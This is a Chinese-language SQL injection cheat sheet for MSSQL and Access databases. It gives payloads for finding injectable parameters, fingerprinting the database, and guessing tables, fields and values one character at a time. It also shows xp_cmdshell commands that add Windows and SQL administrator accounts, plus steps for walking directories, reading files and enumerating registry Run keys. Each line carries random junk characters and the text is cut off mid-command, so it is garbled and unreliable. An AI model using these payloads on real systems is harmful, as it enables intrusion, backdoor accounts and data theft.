1.判断是否有注入;and 1=1 ;and 1=2 G@YX8!wU
2.初步判断是否是mssql ;and user>0 %S G**7
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3.注入参数是字符'and [查询条件] and ''=' p;[">["
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Hm>M}MF3
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5.判断数据库系统 v99gI%TA'
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;and (select count(*) from sysobjects)>0 mssql HN/ %(y
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;and (select count(*) from msysobjects)>0 access .AIlv^:|U
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Md~%
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 YVzcV`4w(
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cQ= "3M)~r
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9.(1)猜字段的ascii值(access) ,G";ny[$
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 W'3&\}
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(2)猜字段的ascii值(mssql) So&an !
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 BXNt@%
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10.测试权限结构(mssql) 5|&:l8=
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2_^{Vez@I
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ?{bF3Mz=
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d2b L_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9fk@C /$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- qT`sPEs;V
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \(y6o}aW
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;and 1=(select IS_MEMBER('db_owner'));-- X!+#1NPM
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11.添加mssql和系统的帐户 k+X=8()k
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;exec master.dbo.sp_addlogin username;-- wzX
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;exec master.dbo.sp_password null,username,password;-- RX-qL,dc
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "][MCVYP
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;exec master.dbo.xp_cmdshell 'net user username password y`"~zq0D
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @"BvyS,p
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- goYRA_%cX
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- X~/hv_@
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12.(1)遍历目录 ~n)!e#p
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;create table dirs(paths varchar(100), id int) [ vU$zZ<
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;insert dirs exec master.dbo.xp_dirtree 'c:\' %9z N U
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;and (select top 1 paths from dirs)>0 l3Vw?f
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) }}a<!L,{
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(2)遍历目录 #qk}e4u
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- D]+0X8@kH7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Am~ NBQ7
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 [aM_.[bf
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 P0m;AqS#R
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13.mssql中的存储过程 #(o 'G4T
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xp_regenumvalues 注册表根键, 子键 7g(,$5
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 <v<TsEI
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xp_regread 根键,子键,键值名 h.Cr;w,2R
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;exec xp_regread kc&